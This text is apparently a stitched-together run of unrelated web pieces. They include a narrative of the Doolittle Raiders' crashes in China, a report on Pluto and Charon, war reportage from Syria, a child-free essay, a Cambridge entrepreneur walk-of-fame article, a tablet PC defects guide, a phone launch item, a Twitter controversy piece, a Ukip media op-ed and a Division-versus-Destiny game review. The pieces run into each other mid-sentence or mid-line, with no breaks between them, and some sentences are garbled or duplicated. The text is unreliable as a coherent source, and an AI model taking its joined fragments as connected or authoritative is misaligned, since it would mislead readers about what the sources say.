The engines of the ‘Green Hornet,’ piloted by Dean Hallmark, sputtered and failed four minutes short of the coast. Hallmark brought the plane down in the stormy sea; the impact tore off a wing. Hallmark smashed through the windshield. After four hours in high waves, Hallmark, copilot Robert Meder, and navigator Chase Nielsen made it to shore–cut, bleeding, and exhausted. Bombardier William Dieter and flight engineer/gunner Donald Fitzmaurice were both seriously injured in the crash; their bodies later washed ashore. Local Chinese fishermen tried to hide the survivors. But three days later Japanese soldiers captured all three men. Their ordeal was just beginning.
Plane No. 15, piloted by Donald Smith, also ditched in the East China Sea. The five crew members climbed into a life raft. After capsizing three times, they finally reached shore safely.
Ted Lawson, piloting the ‘Ruptured Duck,’ attempted a beach landing. But as the plane made its approach, both engines suddenly lost power. The B-25 landed in six feet of water at 110 miles per hour. The terrific impact drove Lawson, his copilot, and the navigator out through the top of the cockpit. The bombardier flew head-first through the plastic nose. The gunner was knocked unconscious in his turret.
Lawson and copilot Dean Davenport came to underwater, still strapped into their seats. Both managed to unfasten their belts and struggle to the surface. Lawson crawled out of the surf torn and bleeding, barely alive. His left leg had been shorn of much of its flesh. Bones above and below the knee were exposed. He had deep gashes on his arms, head, and chin. Most of his front teeth had been knocked out. Blood poured down into his eyes.
Of the sixteen B-25s, only one managed a safe landing at an airfield. Plane No. 8, piloted by Edward York, burned fuel at such a prodigious rate during the flight to Tokyo that he realized it could never reach haven in China. After dropping their bombs, the fliers turned northwest toward Vladivostok. Landing at a small military field, the airmen were taken into custody by the Russians. After more than a year of being treated more like prisoners than internees, they eventually escaped through Iran.
In the night, peasants, villagers, and soldiers in scattered regions of East China heard the sounds of engines overhead. Airplanes, seemingly from nowhere, crashed amid the wind and rain. Men plummeted onto mountainsides and river beds. One flight engineer/gunner dangled until daylight in a tree atop a cliff, his parachute caught in branches.
Doolittle landed in a rice paddy, splashing chest-deep into the smelly ‘night soil.’ Seeing lights in a farmhouse, the raid’s commander unharnessed his parachute and slogged to the front door. He called out to those inside. The lights went out. Come daylight, a farmer brought Chinese guerrillas to Doolittle. Gesturing to the sky and himself, Doolittle finally gained glimmers of understanding from the Chinese. In a matter of days, he gathered together his four crew members.
With Sergeant Leonard, Doolittle hiked to the site where their B-25 had crashed. The bomber’s wreckage was scattered across a mountaintop. Doolittle picked through the debris and found an oil-soaked Army blouse of his. Scavengers had already picked off the buttons. He sat down in dejection near a shattered wing.
‘I was very depressed,’ he later recalled. ‘Paul Leonard took my picture. He tried to cheer me up. He said, ‘What do you think will happen when you go home, Colonel?”
Doolittle answered: ‘Well, I guess they’ll send me to Leavenworth.’
‘I stood up on my two legs for the last time in my life at about dawn on April 20,’ recalled Ted Lawson. He and the other injured men of his crew had been carried to a small hospital by Chinese villagers. The hospital had few supplies, and the Chinese doctor there could do little for Lawson’s shattered leg.
Fortuitously, flight surgeon/gunner ‘Doc’ White showed up at the hospital. White tried, at first, to scissor the dying flesh from Lawson’s lower left leg, giving him morphine for the pain. But the limb showed unmistakable signs of gangrene.
On May 3, as Japanese aircraft flew overhead, White told Lawson what he was going to have to do. The pilot assented. Using novocaine the Chinese had smuggled out of Shanghai, White gave Lawson a spinal anesthetic. Nurses held Lawson’s wrists down.
‘Doc had a silver saw,’ Lawson relates. ‘It made a strange, faraway, soggy sound as he sawed through the bones of my leg. Except for the tugging fear that I was coming back too soon, the actual amputation was almost as impersonal to me as watching a log being sawed in half.’
Lawson watched as the nurses picked up his severed leg and carried it out the door. He could see White’s hand sewing the stump: ‘His hand went up and down, up, down.’ Then ‘Doc’ used a syringe to take blood from himself and infuse it into his patient.
Those fliers who had evaded capture began their trek to Chungking. Chinese country folk were startled, day by day, as Caucasian men wearing brown leather jackets and torn trousers materialized on rocky landscapes or on the outskirts of villages. Peasants, woodcutters, and farmers looked at the alien beings with curiosity and fear. Many had never before seen an American.
The fliers viewed the local populace with similar trepidation. There being no clear battle lines, they worried that they were walking into the hands of the Japanese.
The Americans were walking wounded: men with wrenched backs, cracked ribs, burned legs, and bloodied noses. Haggard and mud-spattered, they sought the help of those who gathered to stare at them.
Guerrillas led the aviators from one settlement to another. Missionaries gave them refuge. ‘Along the way,’ said Travis Hoover, ‘a Chinese aeronautical engineering student named Tung-sheng Liu showed up. He was on the run from the Japanese. He spoke English. He became our guide and interpreter–and saved our lives.’
Whole towns turned out to see the visitors. ‘I walked through villages, heading west,’ recalls Frank Kappeler. ‘Friendly Chinese followed me. Before long, my caravan was two hundred strong. I felt like Lawrence of Arabia.’
The fliers made their various ways into the heartland–by foot, riding shaggy ponies, and on river boats, charcoal-burning trucks, rickshas, and even sedan chairs borne by field workers. During a three-week period, groups of Raiders finally straggled into Chungking and journey’s end. There grateful Chinese leaders bestowed decorations upon them.
Newspaper headlines of the raid electrified America. New York Times: ‘japan reports tokyo, yokohama bombed by ‘enemy planes’ in daylight.’ Columbus Evening Dispatch: ‘u.s. warplanes rain bombs on leading cities of jap empire.’ New York Daily News: ‘u.s. bombs hit 4 jap cities.’
Surprisingly, the initial news reports came not from the U.S. government but from Radio Tokyo. ‘Enemy bombers appeared over Tokyo for the first time in the current war,’ the Japanese broadcast declared. ‘Invading planes failed to cause any damage on military establishments.’ According to the announcer, nine of the attacking planes had been shot down.
The White House and the War Department, uncertain of the outcome of the mission, remained silent. Members of Congress wondered whether a raid on Tokyo had even taken place. At first, Washington simply said that ‘American planes might have participated in an attack upon the Japanese capital.’
On April 21, Arnold received a message from Doolittle, somewhere in the depths of China: ‘mission to bomb tokyo has been accomplished. on entering china we ran into bad weather and it is feared that all planes crashed. up to the present five fliers are safe.’
An anxious Arnold was soon to learn that most fliers were alive and accounted for–but, ominously, that a few had been captured.
Roosevelt had been at his residence in Hyde Park, New York, when informed of the raid. The president realized he had to keep secret the Hornet‘s role in the mission. He asked adviser Samuel Rosenman what he might say if reporters wanted to know where the bombers came from. Rosenman reminded him about Lost Horizon, James Hilton’s fantasy novel. The book was set in a remote and mysterious Himalayan valley called ‘Shangri-La.’ FDR took the cue.
At his press conference on April 21, Roosevelt affirmed that U.S. planes indeed had bombed Japan. A reporter asked him the name of the base used by the bombers. With a cryptic smile, he answered: ‘They came from our new secret base at Shangri-La.’
Doolittle and some of the Raiders were ordered back to the United States; others remained in the China-Burma-India theater. America was more than proud of the fliers. Doolittle was promoted to the rank of brigadier general.
On May 19, Generals Marshall and Arnold picked up Doolittle in a staff car in Washington, D.C. They told him they were going to the White House.
‘Well,’ said Doolittle, ‘if you were to tell me what this is all about, I’m sure I could comport myself better.’
Marshall and Arnold glanced at one another. Then Marshall explained that President Roosevelt was going to present Doolittle with the Medal of Honor.
‘Well, I don’t think I earned the Medal of Honor,’ said Doolittle, frowning. ‘The medal was given when one chap lost his life saving somebody else’s life. So I don’t think I earned it.’
‘I think you earned it,’ responded Marshall sternly.
‘Yes, sir,’ answered Doolittle.
FDR pinned the medal on Doolittle that afternoon. A month later, General Arnold awarded the Distinguished Flying Cross to a score of Raiders |
divided by a belt of remarkable extension faults, including a couple rifts that are 5 to 7 kilometers (up to 23,000 feet) deep. North of that line, the incredibly rough terrain is scarred by enough impact craters that the surface looks to be more than 4 billion years old.
To the south lies relatively smooth terrain interrupted by fewer craters, indicating a slightly younger age of around 4 billion years. There are, however, also some hills that the researchers believe could be cryovolcanoes—relics from Charon’s early history, when a still-warm interior could have fueled gaseous eruptions. It’s possible that a young Charon had a subsurface ocean.
About all this pleasantly unexpected complexity, the researchers write, “all three major Kuiper belt bodies (past or present) visited by spacecraft so far—Pluto, Charon, and Triton—are more different than similar and bear witness to the potential diversity awaiting the future exploration of their realm.”
And these are just a few selected highlights from the surface observations. Pluto’s slightly hazy, nitrogen-dominated atmosphere also bucked expectations. It is (at least currently) losing much less gas to space than our models predicted, and what gas it is losing is mostly methane, rather than nitrogen.
There are a number of puzzles yet to be solved as scientists back on Earth work to make sense of the reports from our robotic emissary to Pluto, and the puzzles are just as interesting as the answers we’ve already won.
Open Access at Science, 2016. DOI: 10.1126/science.aad8866, 10.1126/science.aae0030, 10.1126/science.aad9045, 10.1126/science.aad9189, 10.1126/science.aad7055 (About DOIs).Jan and I pile into Rojda’s pickup truck with the two other YPJ fighters, and together we take off down a dirt road towards the town of al Twelaa. But first, the pickup truck makes a quick pit stop at a lonely building on the town’s outskirts.
“There are American Special Forces here,” Rojda explains. “It’s okay for you to see each other, but we please ask that you don’t take any photos of them.”
On the building’s rooftop was what could only be described as the classic Hollywood stereotype of Special Forces: six men with grizzly beards, sunglasses, muscular tattooed arms bulging out of tan t-shirts and bags full of military equipment.
For a moment, I felt confused at the protocol and don’t want to ruin the trust Rojda has put in me, so I decide to hang back and not interrupt their work. However, by nature I am a nosy person, and this idea quickly dissolves. It was fascinating to watch them engage with Rojda via their interpreter. Despite how sophisticated or trained the Americans are, they seemed to rely on Rojda’s forces to coordinate their entry to the frontline, where they plan to contribute to the next phase of the offensive. This small group of Special Forces have something in common with SDF units: all are decentralized by doctrine, and are able to make swift decisions in combat. The SOF primarily aid the SDF by calling in airstrikes and using heavy weapons, such as the javelin- an advanced rocket system useful for taking out approaching suicide cars. The US coalition is hesitant to provide the SDF directly with these kinds of heavy weapons due to pressure from Turkey, who fears them falling into the hands of the same Kurdish guerrillas they are at war with. The short-term goal is to take Tal Saman- a nearby city surrounded by more expansive countryside, and the last obstacle to connect the frontline to the other separate group working their way down the Euphrates River.
The Americans head off the rooftop towards their vehicle, nod at me with a simple “Hey dude,” and say no more, driving off on their separate way. I suppose that we are both not supposed to see each other. We follow Rojda into Al-Twelaa alongside some other SDF fighters from the base.
As we travel through the newly captured village walking in a single file to avoid buried mines, curiosities of the war begin to reveal themselves. Hidden inside a barn, there is a 1 meter by 1 meter dirt tunnel ISIS used to pop up from a neighboring village. Outside the barn, there are the remains of a large piece of artillery destroyed by a coalition airstrike.READER REPORT: 'I just don't like kids' AMY OAKES
It wasn't really until my previous boyfriend started to pressure me to settle down, marry and have children, that I realised that I never wanted to.
I'm turning 30 soon, I'm in a really happy relationship, I have an exciting, rewarding career, and a fun, exciting social life. I love my life just as it is.
My sister has two cute kids, and they're nice enough, but I don't enjoy being round them much. They are sticky, smelly and pretty annoying, as much as I love them - they are my niece and nephew after all. When they are older I'll enjoy being an aunty when I visit, but it's nice to walk away to my child-free life.
The benefits of being child-free are obvious. I don't need to list them here. People who have kids and people who don't have kids are 100 per cent aware of those things. What it comes down to is that many people assume that a person without children can never truly be satisfied, or can never truly experience life in a fulfilling sense.
I don't believe that is true. That's like saying a person is not a complete, well-rounded individual unless they've backpacked round Europe. As fun as that might be, I'm still a well rounded, satisfied individual without having been to Europe, or having squeezed out some offspring.
Having kids is just a choice in life, but it's one of the biggest, most expensive, all-consuming choices a person (especially a woman) can make. As women we have to make that choice sooner rather than later, as our biological clocks tick away.
But once you have children you can't un-have them, no matter how much you might like to. A rash decision to get pregnant due to a fear of missing out, or a fear of running out of time, could be a mistake you secretly regret for the rest of your life.
Statistically I read that people with children are more likely to be depressed than people without. I also read that regretting one's children is quite common, but it's a feeling that is almost impossible to express to anyone in any circumstance, without seeming like a bad parent, or mortally offending your child.
I am thankful that I live in an age where I am able to have the choice to have or not have children. I am saddened to hear stories from my grandma's generation of despair with each pregnancy, of attempted abortions and suicides, due to constant unwanted pregnancies. Or from my mum's generation, feeling like they could have achieved so much more, become someone, not just someone's mum.
Every parent loves their child, once they've had it, and would never take it back. I understand why people get so defensive of their choice to have had them. It's an unconditional love. But that doesn't preclude deep regrets.
I believe there is more to achieve in life than reproduction. If you want them, that's fine, I understand why and accept your choice. But when someone tells you they don't want children, don't act so surprised, don't try to change their mind, don't assume they are sad, lonely and bitter, or that they "just haven't found the right man yet". Don't treat me as defective or deluded.
I'm making a selfish decision, but that decision is carefully considered and informed, which is more than can be said of most pregnancies.
CommentsThe walk will also offer pedestrians such interactive stories as how Jobs created Apple in Silicon Valley in his garage in the ’70s, and how Gates dropped out of Harvard University to co-found Microsoft Corp. On the street, flags and signage featuring each inductee will carry barcodes that visitors with smartphones can use to watch videos on the entrepreneurs.
Kapor, whose Lotus 1-2-3 accounting software revolutionized business computing, lived in Boston for 27 years and studied and taught at MIT. “I have decades in the Boston area, so to me, this is coming home,’’ he said.
Three of the honorees are still living: Gates, 55; Kapor, 60; and Jobs, 56.
“Entrepreneurs are the key to innovation, economic growth, and job creation that we need so desperately in America right now,’’ said Bryan Pearce, a selection committee member who runs an annual award program for entrepreneurs for Ernst & Young, the accounting firm. “When we celebrate these stories and tell them often, that’s how you build the movement.’’
City officials hope the walk of fame will reinforce Kendall Square’s reputation as a hub of innovation. “Entrepreneurs are a reason why big companies like Microsoft and Google want to be in Kendall Square. It’s the most innovative square mile on the planet,’’ said Cambridge city councilor Leland Cheung, who helped the effort get off the ground. Kendall Square has the highest number of information technology and biotech firms per square mile in the country, according to The Boston Consulting Group.
The walk, a joint effort by the city of Cambridge, MIT, and a handful of foundations and groups, is meant to keep such figures as Edison, the father of the incandescent light bulb, and computer software and hardware giants such as Gates and Jobs alive in the minds of students, tourists, and curious passersby.
“We retire baseball players’ uniforms and have all kinds of celebrations for sports figures, but there’s no place to celebrate entrepreneurship,’’ said Bill Aulet, managing director of the Massachusetts Institute of Technology’s MIT Entrepreneurship Center, who came up with the concept a year ago. “These are the celebrities people will look up to.’’
Today marks the inauguration of this newest installment, steps from the Kendall Square MBTA stop in Cambridge, where the names of seven of the brightest minds in the history of American business, some with deep roots in Massachusetts, have been laid into the sidewalks like those of Hollywood movie stars. Inventor Thomas Edison, Microsoft Corp. cofounder Bill Gates, Apple Inc. cofounder Steve Jobs, Lotus Development Corp. founder Mitch Kapor, Genentech cofounder Bob Swanson, and Hewlett Packard Co. founders Bill Hewlett and David Packard, have been lionized underfoot with granite stars on Main Street, outside the Boston Marriott Cambridge Hotel. Each star features an inspirational quotation.
Actors have Hollywood Boulevard; athletes, the hall of fame. And now, for Information Age trailblazers, there is the Entrepreneur Walk of Fame.
The idea is to inspire young entrepreneurs as they walk to class, said Aulet. But others hope the walk will become a tourist attraction.
Tim Rowe, chief executive of Cambridge Innovation Center and an architect of the project, believes the walk will one day have the same cachet as Boston’s Freedom Trail.
More names will be added each year, and their stars will dot the walkways around Kendall Square. “What you’re really walking down is the path toward becoming an entrepreneur,’’ said Rowe.
Those being honored must be respected US entrepreneurs who developed an innovative, technology-based idea into a billion-dollar company, and who are known as risk takers. They don’t need Boston ties, but they must have had a big impact - creating jobs, or an industry.
MIT’s Aulet chaired the eight-member selection committee. He said Gates was chosen because he created the software industry; Jobs, who was once fired from Apple, then returned and transformed the company into a powerhouse, because he embodies the principle of bouncing back from adversity. Swanson showed that anything was possible by helping to create the biotech industry while still in his 20s. Hewlett and Packard illustrated the power of the team.
As for Kapor, by taking off the tie and letting his hair grow, he became “the first rock ’n’ roll businessman,’’ said Aulet. And Thomas Edison embodied the spirit of innovation, creating both inventions and a major company.
Siting the walk at MIT makes sense to Edison’s great grandson, David E.E. Sloane, a college professor from Connecticut who will represent his famous ancestor at the opening ceremony today. “College is a place where people change and think and grow, that’s what entrepreneurism is,’’ he said.
Edison had two sons who went to MIT, and he donated equipment to the school.
“The interesting thing about the Americans of his generation is that their patriotism, entrepreneurism, and inventiveness was all wrapped up in one package; they considered it the identity of America,’’ Sloane said.
Driving around Kendall Square in a VW Rabbit in the 1980s, wearing Hawaiian shirts, Kapor founded Lotus, one of the first high-tech companies to put its headquarters in Cambridge, in 1982.
“We didn’t want to be out in the suburbs; we wanted to be able to attract employees,’’ said Kapor. “It felt like there was a great opportunity to do that in Cambridge.’’
Thousands of students and other spectators are expected to crowd the plaza at 1 p.m. today, when the stars will be unveiled. Speakers will include Dan Bricklin, inventor of the computer spreadsheet, Newsweek technology editor Dan Lyons, Sloane, and Kapor.
The induction ceremony will kick off a weekend of events at MIT that Aulet dubbed “a Woodstock of entrepreneurship,’’ including a festival and hack-a-thon at MIT.
“Students everywhere, even down to the high school level, have never been more enthusiastic about entrepreneurship,’’ said Aulet. The walk of fame “is about honoring these people, yes, but it’s more about the stories about them to inspire young people,’’ he added. “Children are great imitators, and we need to give them something great to imitate.’’
© Copyright 2011 Globe Newspaper Company.All of these tablet PC defects are preventable with proper due diligence and testing during and after production. As with other consumer electronics and appliances, tablet PCs have the potential to pose a hazard to end users, such as overheating. So it’s especially important that the product is inspected before it leaves the factory.
The tablet PC market is highly competitive. And while some brands have struggled to differentiate themselves, a few companies like Apple have managed to stay competitive by focusing on one thing: product quality.
To a new manufacturer or importer, it may not be obvious what quality defects to look for in tablet PCs. A unit might turn on without a hitch. It might take high quality photos. And it may seem that a tablet PC is in good working order overall. But your new tablets could show signs of a problem that only becomes apparent well after the goods have left the factory and been distributed to retailers and customers.
But by being familiar with some of the common quality issues that can affect tablets, you can avoid purchasing a faulty product that doesn’t meet your requirements or quality standards. So let’s take a look at five common tablet PC defects.
1. Broken pixels (dots or lines in the display)
Screens used in tablet PCs and smartphones are made with a liquid crystal display (LCD). These screens use a grid of points, called pixels, which each have three sub-pixels – red, green and blue, which turn on and off to display colors on the screen.
These pixels are powered by transistors in the tablet’s circuitry, and if a transistor fails or is faulty then this will result in one or a series of pixels to malfunction. If you notice any dark or bright spots on your tablet screen, there is typically a problem with the tablet’s transistors.
Repairing broken pixels in tablet PCs
An end-user cannot typically fix this defect because internal components need to be checked and replaced. This sort of maintenance is best performed by the factory, especially considering the risk of electric shock posed by tampering with transistors.
Broken pixels are one of the tablet PC defects that QC personal should be able to detect relatively easily. And if a third-party inspector discovers broken pixels in a tablet, they’ll typically consider it a “major” defect, since it affects product functionality (for more information on how to classify defects, see 3 Types of Quality Defects in Different Products).
2. Foreign material behind screen
When the tablet is powered on and is displaying light colors, you might notice small, blurry points. This is usually dust, but it could also be dirt or residual material left from production. The cause of foreign material in the screen is generally due to the factory’s quality control procedures and cleanliness of the assembly areas in the workshops.
Preventing foreign material contamination in tablet PCs
It’s typically easier to keep foreign material out of a tablet during assembly than it is to remove it from the finished product. Tablet PC manufacturers should have a “clean room”, built specifically to prevent environmental pollutants like dust particles from interfering with the production process.
While larger suppliers such as Apple and Huawei typically have very strict processes to control these areas, smaller factories may not, which generally leads to more tablets found with foreign materials inside the screen.
Depending on the size of the foreign material and whether functionality is affected, this defect may be classified as “minor” or “major” during product inspection.
3. Dust inside the camera
Just like finding foreign material underneath the screen, dust inside the camera means contamination has happened at some point during the assembly process. The difference is that in some cases, the dust is actually inside the camera component.
Tablet PC suppliers might use sub-suppliers to provide parts for the final product. While there are definitely complications of using sub-suppliers, outsourcing components isn't necessarily bad. But when a sub-supplier lacks thorough quality control protocols—or a proper clean room—the quality of the finished product suffers. In this case, the camera may have been contaminated before it was received, which means the assembled tablet PC will likely take distorted, substandard photos.
Keeping dust out of tablet PC cameras
Like broken pixels, dust inside the camera is one of the tablet PC defects that’s somewhat easy to identify. And it’s important that the supplier is conducting proper incoming quality control on outsourced parts to ensure they’re not receiving faulty or contaminated components. Checks on incoming components will help guarantee that the final product is free of defects and functions as designed.
4. Unresponsive touch screen
Touch screens tend to be very sensitive by design. And when end users report an unresponsive touch screen it’s often the result of something as simple as the screen being dirty, scratched or cracked. Aside from damage to the screen itself, the screen can also malfunction if it’s not properly connected to the printed circuit board (PCB) inside.
Unresponsiveness due to software issues
When a touch screen is unresponsive and there are no internal or external hardware issues, a software problem is usually to blame. If so, a hard reset and then restoring to the factory’s default settings will generally fix the issue if there’s nothing seriously wrong with the unit.
But other times there are more severe software issues that occurred during the initial set up of the tablet at the factory. In this case, the unit is virtually useless and the factory will need to replace or rework the affected units (related: 3 Vital Questions to Ask before Product Rework).
Visiting a supplier to ensure that every tablet PC is completely without this defect is definitely an option for some importers. But a far easier approach is to perform product testing on a sample of an order. An accelerated life cycle test, for example, can verify touch screen functionality over the intended lifetime of the product.
5. Overheating batteries
There are several reasons that batteries overheat in tablets. As most people will recognize, tablet batteries can heat up during heavy use, such as extended use of media or web browsing. In a normal tablet, some heating should be considered normal and doesn’t necessarily mean the product is defective.
But it becomes a problem when batteries heat to the point of damaging the tablet. In extreme cases, a tablet’s outer casing could actually melt, and overheating could pose a fire hazard.
Poor design and outdated software
There are some cases, mostly in earlier models of tablets, where software or general design issues can cause batteries to heat beyond what the product can tolerate, even under normal use. Some tablets like this are able to be fixed by software updates. Other models, however, may simply have poor design that doesn’t allow for adequate cooling.
Faulty battery chargers and batteries
Another common cause for overheating batteries is a faulty battery charger or batteries. In some cases it’s physically evident that the battery is defective because it bulges at the sides. In other cases, it may not be obvious that the battery has a problem by looking at it. But that doesn’t mean it isn’t malfunctioning.
Preventing and checking for battery issues in tablet PCs
A faulty battery charger can cause overheating, and in some extreme cases, cause the battery to explode. This generally occurs when third-party, generic chargers are used. For this reason, it’s typically best to use the charger supplied by the original equipment manufacturer (OEM). Likewise, if a tablet PC needs a replacement battery, it's best to use an OEM battery as a replacement and never settle for one that is a knock-off.
Battery capacity, charge and discharge should all be included in a product inspection of tablet PCs. Along with other standard tests for consumer electronics, these help ensure the product is safe.
Conclusion
All of these tablet PC defects are preventable with proper due diligence and testing during and after production. As with other consumer electronics and appliances, tablet PCs have the potential to pose a hazard to end users, such as overheating. So it’s especially important that the product is inspected before it leaves the factory.
And testing a tablet PC for product safety alone typically isn’t enough. It’s also important to stay vigilant for any functional and aesthetic defects as well. Something as simple as blurry photos caused by dust in the camera can result in customer returns and negative product reviews. By considering these five common tablet PC defects and how to address them, you’ve just taken a step toward higher product quality.
Interested in seeing how professionals conduct product inspection for tablet PCs? Watch our quick tablet PC inspection video!First off, /r/nothingeverhappens. Second, this would be a pretty convincing impersonation if you look at the user's history. Its pretty similar to a lot of the accounts there, lots of all caps rage and calls to block things they don't like. Third, the users seem to be pretty separate in posting habits and style.
However, the name "barrywatergold" is similar enough to the actual senator "Barry Goldwater" who ran for president in 1964 (and failed hard). This is an interesting coincidence if it is one, but I suppose that type of conservative might still exist. You do bring up a decent point with the timing, however I suppose it is possible that the OP does browse T_D's new page for stuff like this (based on other posts they have made).
So overall, I'd guess this is organic and just got caught on screen shot early on.Back in 2015, Japanese company NuAns showed off its Windows 10-powered Neo smartphone for the first time. It's selling point was the TWOTONE interchangeable covers for its back. The phone debuted at CES 2016, post which the company announced its plans for the device's global launch through a Kickstarter campaign.
The campaign, however, failed.
Then earlier this month, it came to light that the company is coming back with a new version of the phone. And indeed, they are back, with a phone named Neo Reloaded. The key difference here is that the company has ditched Windows 10 Mobile in favor of Android (Nougat).
Spec-wise, the new device is powered by Snapdragon 625 SoC, and sports a 5.2-inch full-HD display. RAM is 3GB, and a 3,450mAh battery is there to keep the lights on. The handset features a fingerprint sensor, and the interchangeable covers functionality is there as well.
It carries a JPY 49,800 price tag (around $440). As for availability, it's set to be launched on May 31, 2017.
Source | ViaOn Friday night, Twitter apparently reconsidered its position that Rosie O’Donnell’s sexually harassing tweets to Daily Wire editor-in-chief Ben Shapiro did not violate any of their abuse policies, and required O’Donnell to delete the tweets.
Well, looks like Twitter had some second thoughts about Well, looks like Twitter had some second thoughts about @Rosie's obscene tweets pic.twitter.com/O036JB8Ego December 24, 2017
O’Donnell was not suspended for any duration on Twitter.
Twitter’s reversal followed hard on their original decision that her obscene tweets telling Shapiro to “ Twitter’s reversal followed hard on their original decision that her obscene tweets telling Shapiro to “ suck my d*** ” and “lick me too” were not in fact abusive under their policies. O’Donnell had tweeted those messages at Shapiro after Shapiro called her out for violating federal law by offering bribes to sitting members of the United States Senate in an attempt to push them not to support President Trump’s tax reform package.
The Daily Wire has received a number of emails from people suspended by Twitter for language far less offensive than O’Donnell’s.The intrusive power of the media, their capacity to lay waste the lives of ordinary people and celebrities alike, has been much aired, before and after Leveson. But there is another form of power, exercised with far greater discretion. This is the ability of the media to shape – and to limit – discussion; a capacity which has in recent weeks become conspicuously transparent, thanks to their efforts to discredit Ukip in general, and Nigel Farage in particular.
The dominant political parties and the mainstream media collusively concerted the attack on Ukip. Never has the management of what is somewhat hyperbolically called "the clash of ideas", conducted by the opinion-formers and gatekeepers of debate, been so clear. Rarely have the tactics to maintain argument within acceptable bounds been more obvious.
Normally so competent in policing the borders of the sayable and the thinkable, the process is largely accepted as a realistic containment of "common sense" within "acceptable" limits. But in the desire to maintain the orthodoxies of the day (which must always pass as imperishable truths), instead of reaffirming the common wisdom, the disseminators of (fixed) ideas have been in danger of defeating their own purpose.
What emerges from the shameful way in which "debate" has been manipulated, is that the hold of the media over the imagination of the people is more circumscribed than its practitioners believe, so maladroit has been their management of political news. Their pride has proved false pride: the threadbare efforts to delegitimise Ukip demonstrates only the desperation with which their overwrought labours are pursued.
First, they trawled through social media postings to find signs of racists in the Ukip fold – those who had supported the BNP, and others who conform to the "fruitcakes, loonies and closet racists" of David Cameron's memorable jibe on radio eight years ago. There was the former Tory who believed the winter floods were a consequence of God's wrath against gay marriage; the man who told Lenny Henry he should go and live in a black majority country if he didn't like the representation of Afro-Caribbeans on TV. There are those who declare Islam a "satanic" religion and some still lost in defunct imperial reverie. It is not difficult to find enunciators of extreme, violent and bizarre views in any party; no such opprobrium has been heaped upon individual members of the "three main parties", although there, too, are rich pickings for anyone in search of what is transformed into mere "eccentricity" by the hallowed status of tradition.
It may be considered something of an irony that, since all the main parties are, in one way or another, conservative parties, an even more conservative party should be the object of such vilification; and this can be ascribed only to the desire to maintain a monopoly of representation by Conservatives, Labour and Liberal Democrats. (That, too, is something of an exaggeration, since politics has become a distinctly non-representational art, a sort of abstract painting of British society.) Alleged European expenses scandals failed to stand up or to dent Farage's popularity; the apparent contradiction of this Europhobe employing his "German wife" was ineffective. The obvious victory of Farage over Nick Clegg in the TV "debate", the unsuccessful sneering at him (which he bore with striking good humour in Have I Got News for You), and the condescending interviews, meant that the net had to be cast wider. A long exposure on Channel 4 news with the Ukip donor, Demetri Marchessini sought to besmirch the party with guilt by association. The "sixth-largest party donor" in 2013 was invited to pour forth his eccentric views, which he did without reserve. He believes that women shouldn't wear trousers, that there is no such thing as rape within marriage and that being gay is about lust not love, since "they go out at night and pick up five, 10, 15 partners".
When, instead of relegating Ukip to the shadows, the party immediately rose in popularity, with more than half the electorate expressing support in eastern England and the West Midlands, there had to be a change of strategy. If they could not isolate Ukip, the media began to embrace him. Farage responded by denying the malign intentions attributed to him. He stressed the number of ethnic minority candidates, and his openness to migrants "who contribute to the economy of Britain". This is respectability by enclosure; modifying excesses by drawing Farage into the fold by a small extension of a centre that veers more and more to the right.
There are at least two ways of regarding these developments. The negative view is the depressing capacity of right-thinking media representatives to tame "extremists", showing that everyone, even the most eccentric dissidents, are susceptible to flattery, inclusion and the kindness of power. Perhaps the rise of Ukip is merely a passing fad, a result of the marketising of politics, a momentary must-have accessory in the great hypermarket of free choice: after all, the surge of the Liberal Democrats in 2010, the brief moment when it was fashionable to be Green, even the rise of the BNP, came and went the way of all flashes in the pan.
A more positive interpretation would be that the ineffectual attempts to destroy Ukip show the growing fragility of the carefully crafted management of what is sometimes called "the national conversation". It suggests that in the future, there may be space for a more genuine plurality of ideas, views and politics than the carefully scripted, staged "rough and tumble" without content that masquerades as democracy in the rich world.
It may be that we are capable of holding something more than mere windblown "opinions" one fine (or rainy) day every five years. It suggests an augmented discussion, a more ample participation in a public life, in which we, the public, have been relegated to the role of bystanders, spectators of our own destiny.The Division beta has finally come to a close after an extended four day run (five on Xbox One), and now everyone is sitting back and collecting their thoughts on Ubisoft’s long-awaited shooter. I’ve already written an ungodly amount about the beta, including Day One thoughts, Dark Zone analysis, a grand overview of the weekend and an analysis of the Rogue system. But today, it’s finally time to answer the ultimate question: How does The Division stand up to what’s supposed to be its chief competition, Destiny?
By this point, I’ve said multiple times that The Division is in a unique position to steal Destiny players away from Bungie as a rival MMO-ish shooter-looter, which is debuting almost exactly when Destiny is in the middle of a serious content drought.
And yet, after all this playtime, I’m not convinced that in the long term, Destiny truly has anything significant to fear from The Division after all.
The reason is not as black and white as “Destiny is great and The Division is bad,” which I don’t believe to be the case. Rather, it’s that despite both being games centered on looting, leveling and group play, the two could not feel and play more differently from one another. I think that The Division will be its own type of fun for many players, yet I do not believe that it’s going to have the ability to spawn the same kind of devoted, addicted, passionate community as Destiny. Players who pretty much forfeit all other games to play it full-time, and hang on every single world from the developer in the hopes of hearing scraps of info about new content.
A few disclaimers here. I’m going into this understanding that The Division is still in beta, and it’s hard to fully judge the game because of that. After all, judging Destiny itself by its beta alone would have been pointless, with so much content hidden away. But I will say I don’t think The Division is hiding quite as much under its hat, as this beta does introduce us to what are supposed to be the major components of the game, story missions, open-world roaming and of course, the Dark Zone. And I believe that’s enough to form some fairly solid opinions at this point.
One thing that doesn’t feel like it’s going to change all that much? The shooting mechanics. While I’ve said that The Division’s strengths lie in its weapon customization and its (potentially cool) skill trees, gameplay itself does not have that Destiny “hook,” where the mere act of shooting a gun and killing an enemy is a gratifying sensory experience.
Shooting in The Division is fine. It’s a competent cover-based third-person shooter, yet I certainly wouldn’t put gunplay as one of its strengths. Despite not being annoyed with bullet-sponge enemies as much as I thought I would be, the fact remains that the shooting just isn’t anything to write home about. Other games have iconic “feels” to them, Destiny, Halo, Call of Duty, Gears of War, and so on. The Division just…doesn’t. Maybe that will change after dozens of hours of gameplay, but for now, one of the main draws of Destiny, its impeccable gunplay, is not replicated here.
As this is a beta, it’s too early to judge the story of The Division, I suppose, but if you thought that after the relative nonsense that’s been most of the Destiny storyline, that The Division might sweep you away with a brilliant post-apocalyptic narrative, I’m just not convinced that’s going to be the case. Your character is mute, and the plot seems exceptionally simplistic, clear the city, with hints that you may discover who unleashed the virus that killed everyone. That’s well and good, but with one of Destiny’s primary weaknesses being storytelling, nothing about the beta indicated to me that’s something The Division will capitalize on.
